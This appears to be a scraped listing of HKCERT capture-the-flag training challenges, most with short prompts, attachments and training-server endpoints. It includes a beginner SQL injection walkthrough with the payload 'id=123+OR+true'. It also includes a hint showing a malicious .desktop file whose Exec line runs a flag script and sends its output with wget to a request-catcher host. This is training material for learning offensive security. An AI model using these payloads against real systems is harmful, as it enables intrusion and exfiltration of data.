Only the admin can read the flag. Can you check the read the data in /flag.php?

Attachment: leaked-secret_594f8d5f5dd0014276c395f4677e9649.zip

Can you guess the passcode?

Scratch Link: https://scratch.mit.edu/projects/738468454/

What you need is to read the locked blog post. That's it.

http://training.hkcert23.pwnable.hk:20003

Attachment: elb-ii_0cdab7dd68e82bb14dd59bfdf071dcbd.zip

If you can solve CrackMe in 2020, then you can solve it too, probably.

Attachment: crackme_00e6609f485d9ffafe3a0d21273979c3.zip

To fill, or not to fill, that is the question.
You can find the flag in the questionnaire.

Web: https://forms.gle/GuzB7hGBHPr3xLvK8

Hack the admin panel

http://training.hkcert23.pwnable.hk:20006

I wrote a simple shellcode interpreter! Try to read the flag in the file /flag.

Attachment: shellcode-runner_f0f077bf6f6ee74930566384214e6f5c.zip

nc training.hkcert23.pwnable.hk 20007

When I was searching for binary exploitation samples, I found this from hkcert ctf 2020. I made some small fixes to the game; see if you can still pwn this and steal $1000000 from me!

Attachment: absolute-gambler_a34e7244ab1107e7edbacf541c224504.zip

nc training.hkcert23.pwnable.hk 20008

Do you know Caesar cipher? Vigenère cipher is one of its variant. I will feel safe if the key is longer than the plaintext.

Now I am going to repeatedly send you my encrypted password. You can't recover my password, can you?

Attachment: classic-one-time-pad_b0865470e76270c659fac80e77ef4e36.zip

nc training.hkcert23.pwnable.hk 28109

The post-it for the key encrypting the flag is missing. Now I can only regenerate the flag using this.... Wait, did I use that much time to generate the key?

You need a key to open the door... but what if the key is in the room?

http://training.hkcert23.pwnable.hk:28251

Attachment: catch-22_98e4dcdc123f3f69385f664e3e3c5baa.zip

Solution: https://hackmd.io/@blackb6a/hkcert-ctf-2022-ii-en-6a196795

早知不可獲勝
擠出喜感做諧星
無力當 你們崇尚的精英
有幸獻醜的 小丑 都不失敬

In the beginning of 2020, Khaled A. Nagaty invented a cryptosystem based on key exchange. The cipher is faster than ever... It is impossible to break, right?

Attachment: a-joke-cipher_58178adf8b732db76116f5bb7e0c4198.zip

To solve this challenge, you need to read the source code chall.py. Try to get those questions answered:

• Can shared_key generated from y_A and y_B?
• If so, how do we calculate m from c and shared_key?
• How can we convert the number m into a flag that is in the format hkcert21{...}?

Flag 1: Read /flag1

Web: http://training.hkcert23.pwnable.hk:28039

Attachment: spyce_222c677640e7721636b146c58425aee3.zip

Solution: https://hackmd.io/@blackb6a/hkcert-ctf-2022-i-en-3f8a9ef6

I heard perfect shuffle is reproducible...

Attachment: shuffle_03f016d972f11c15bb25d038a2bd6bb3.zip

Hint:

• What is .pyc? Are there some tools for reverting pyc to some readable source (maybe back to python script)?
• Next you have to revert the algorithm for flag, i.e. given the output, find the corresponding input (which is flag)
• Understanding random module should help a lot...
• Why do this always produces same result (for same input) but not randomly differ each time? Can you make use of this to revert back to flag?

Find out Squirrel Master's password!

Web: http://training.hkcert23.pwnable.hk:20015

Walkthrough

This is a easy web challenge on SQL injection, which is a common vulnerability, especially in old applications. It is expected that experienced player / pentester can solve it within 5 min, but if you're new to this game, read on!

Understanding the application

To find out abnormalities (bugs / vulnerabilities) in a web application, you need to first understand its behavior under normal usage. Visit the homepage (http://training.hkcert23.pwnable.hk:20015) and you will see a cute squirrels saying hi to you, with a big button to Join the community. Other links in the webpage are either out of scope (not in the same website), or not simply functioning. So lets click that button.

In the SquirrelChat application, we can see there are two function: Login and Register. After registering an account and login to the application, we can see that there are additional function Chatroom and Logout, with lengthy (but not helpful) text on the homepage.

Click into chatroom, you can see a textbox allowing you to send message to the channel. Try send something!

[🤔1]: There are two more function in the application, can you find them out?

How the web works

You should already know the content in this section if you're familiar with the web.

Client and server model

Similar to most of the website in the world, the site you're visiting contains two parts: client and server. The server 'serves' you by processing your request and providing webpage, images, videos etc for your browser. The client is your web browser, which send requests to server and display the response on your screen.

[🤔2]: What is your browser software, and what is the server software?

💡: Google "What is my browser", "How to find out website server software"

Input - Process - Output

When you send a message, your browser will send a request to the server chalf.hkcert21.pwnable.hk:28062, with your chat message and other input values. The server will process your message and show it on every user's webpage as output.

[🤔3]: What are the input when you send a message in SquirrelChat?

Path and Query string

Path and Query string are examples of the input to websites. When you do a Google search, you can notice the web browser address bar will contain an URL (web address):

| https://www.google.com/search?q=What+is+query+string |
|           ^             ^       ^                      |
|           Server        Path    Query string           |

• Server: www.google.com
• Path: /search
• Query string: q=What+is+query+string

[🤔4]: What does + means in query string?

💡: Google it: what does plus means in query string

[🤔5]: Can you change the above Google URL to search something else? Test with your web browser.

[🤔6]: Send an message in the SquirrelChat chat room, then click on your own name. Can you identify the path and query string from your browser's address bar?

SQL in SquirrelChat

As mentioned, the SquirrelChat application has a SQL injection vulnerability. The application uses SQL to store and retrieve your account details and channel messages in the server, and there are incorrect handling of user input when it construct the SQL query. Therefore it is possible to change the website behavior and leak flags from the server.

[🤔7]: In [🤔6], you have identified the query string of the URL. What does the numbers mean in the query string? Try changing it and see how the application behaves.

The SquirrelChat application construct the SQL query like this

SELECT * FROM users WHERE id=<Your Input>

In the above SQL query, <Your Input> is replaced with the id provided in the query string. In plain English, this SQL query will SELECT (retrieve) users information, where the user id equals to your input in the query string.

So if you visit

http://training.hkcert23.pwnable.hk:20015/chat/user?id=123

The query will become:

SELECT * FROM users WHERE id=123

Which show the user information whose id equals to 123. This code snippet looks completely innocent, but it is vulnerable to the deadly SQL injection vulnerability.

Let's lookup what is SQL injection vulnerability. Google what is sql injection ctf and you can find this webpage as the top result.

[🤔8]: You got all the pieces to tackle this challenge. Can you exploit the SQL injection vulnerability without looking at the answer below?

Exploiting the SQL injection vulnerability

If we are able to change the SQL query to following:

SELECT * FROM users WHERE id=123 OR true

By visiting profile of user 123, we know that the user does not exists (i.e. id=123 is False). By appending OR true to the query, we changed the outcome to True regardless what is provided as id, therefore the system will return EVERY user in the system, including our target: Squirrel Master's account. Recall your Math lessons:

OR Truth Table
+-----+-----+--------+
|  A  |  B  | A OR B |
+-----+-----+--------+
|  T  |  T  |   T    |
|  T  |  F  |   T    |
|  F  |  T  |   T    | <--- We are here
|  F  |  F  |   F    |
+-----+-----+--------+

[🤔9]: Can we construct the query string (input to the webpage) such that the application will run the above SQL query?

As you have answered in [🤔4], we have to change spaces into plus sign (+) in the query string. Therefore, you can send the query string as id=123+OR+true and get your flag.

Suggested Answers

[🤔1]

• Change channel
• View user details

[🤔2]

• Your browser: https://www.whatismybrowser.com/
• Server software: https://iplocation.io/website-server-software/

[🤔3]

• Your user account (cookies) such that the application can show your name along with your message
• Channel name (as in the URL)
• Message
• (There are much more...)

[🤔4]

• + sign has a semantic meaning in the query string. It is used to represent a space. https://stackoverflow.com/a/6855723

Web: http://training.hkcert23.pwnable.hk:20016

Attachment: infantbrowser_6939c231042fd155a512940cd0982f76.zip

What if someone uses wget as the browser?
Flag: find the flag in the root directory with name /proof*.sh

• The objective of this kind of challenges is to send a malicious webpage / URI to steal sensitive information or even execute arbitrary code in the victim's machine. Unlike XSS where the impact is limited to the victim's account in a particular website, a browser / desktop app exploit, or client-side attack in general, may compromise the entire victim's machine.

• In this challenge, we are allowed to send the victim an arbitrary URI and they will open it with xdg-open (just like clicking on links in a browser). To trick a victim to execute arbitrary code, we can craft an XDG Desktop Entry, which could specify what command to be executed.

• But before we can trick the victim to open the Desktop Entry, we need to write the Desktop Entry to somewhere in the local filesystem. This could be done since the victim is using wget as the browser, and the current working directory is writable.

• For example, you can upload a Desktop Entry file named example.desktop to your website (e.g. Github page), and then ask the victim bot to download it

  [Desktop Entry]
  Exec=sh -c "wget https://xxxxxxxxxxxxxxx.m.pipedream.net/?`/proof*.sh`"
  Type=Application

• If this Desktop Entry is opened, then it will execute the command after Exec=, which will first execute /proof*.sh and obtain the output, and execute wget https://xxxxxxxxxxxxxxx.m.pipedream.net/?(the output from executing /proof*.sh), which allows you to capture the flag

• Once the example.desktop file is written, you can ask the victim bot to open file:///tmp/example.desktop so that they will execute the code you planted before

• But make sure you use a unique filename for the Desktop Entry file since the challenge platform is common to every participants

• Too easy for you? Now you can try babyURIi...

You got the source code already, now what do you want? Dockerfile?

nc training.hkcert23.pwnable.hk 20017

Have you tried the infant xss challenge in the training platform? If you did, then you can try out this BABY XSS CHALLENGE...

Web: http://training.hkcert23.pwnable.hk:28023

XSS Bot: http://training.hkcert23.pwnable.hk:28020

Looks like the binary contains no flag.....

Can you help us to find the flag? There is only weird strings inside....

Attachment: scattered_605e04699fe3f83e375fc02c4ba09fe2.zip

Please reverse engineer and deactivate the time bomb set by Mr. Robot.
Submit the deactivation key as the flag.

Attachment: timebomb_20799fed87d97c7a9b7fcd00af5a21e8.zip

Have you ever played Little Fighter 2? I have modified stage.dat to make the game more interesting. Of course, I hid a flag inside, too.

Attachment: lf2_3c15eea6088ec0491715966045ee71bd.zip

Is your sanity enough? I afraid you are unable to face the upcoming challenges...

Web: http://training.hkcert23.pwnable.hk:20022

Seccomp is a Linux kernel feature to restrict the program from executing unexpected syscall. Can you break it?

nc training.hkcert23.pwnable.hk 28375

Attachment: jail-of-seccomp_0ce66def375a919a5de8cdc782627c63.zip

Give me the expression and I will return the answer.

nc training.hkcert23.pwnable.hk 20024

Attachment: python-calculator_15828ce780ab47a9a42e3c5ad5651aaa.zip

You lose all the things, including the chance of getting out of the jail of python.

nc training.hkcert23.pwnable.hk 20025

Attachment: all-missing_f7be93352498ebd158a0a9fc069b30e9.zip

Web: http://training.hkcert23.pwnable.hk:28222

Solution: https://hackmd.io/@blackb6a/hkcert-ctf-2022-ii-en-6a196795

Jack is testing his botnet, what could go wrong?

Attachment: jack-botnet-service-1_064a2bd6bb9036f6e8788d8418e18300.zip

長話𥚃短說
但察覺太短
或者真正意義
並不需要說穿

Mystiz made a key vault which could encrypts his darkest secrets (i.e., the flag). Everything is protected with a bank-level encryption (i.e., a 256-bit key). You are welcome to look at the encrypted secrets and praise his cryptographic knowledge.

nc training.hkcert23.pwnable.hk 20029

Attachment: long-story-short_55e7b1b931d8aaa5670e38b1e14c82ea.zip

Freedom where's our freedom?
Freedom what would it be
Can you tell me what's the reason?
Reason that meant to be

Every slightest mistake in cryptography would lead to a disastrous result. Let's see what will happen when you allow end-users to pick the mode of operation...

nc training.hkcert23.pwnable.hk 20030

Attachment: freedom_ff0173b179d746386dca0e93e6c00d47.zip

I have accidentally format my SD card. Please help me to recover the photo inside 🙏.

Attachment: sdcard_f88edd62fb9d6f66b9bcab4497ca23b9.zip

Solution: https://hackmd.io/@blackb6a/hkcert-ctf-2022-i-en-3f8a9ef6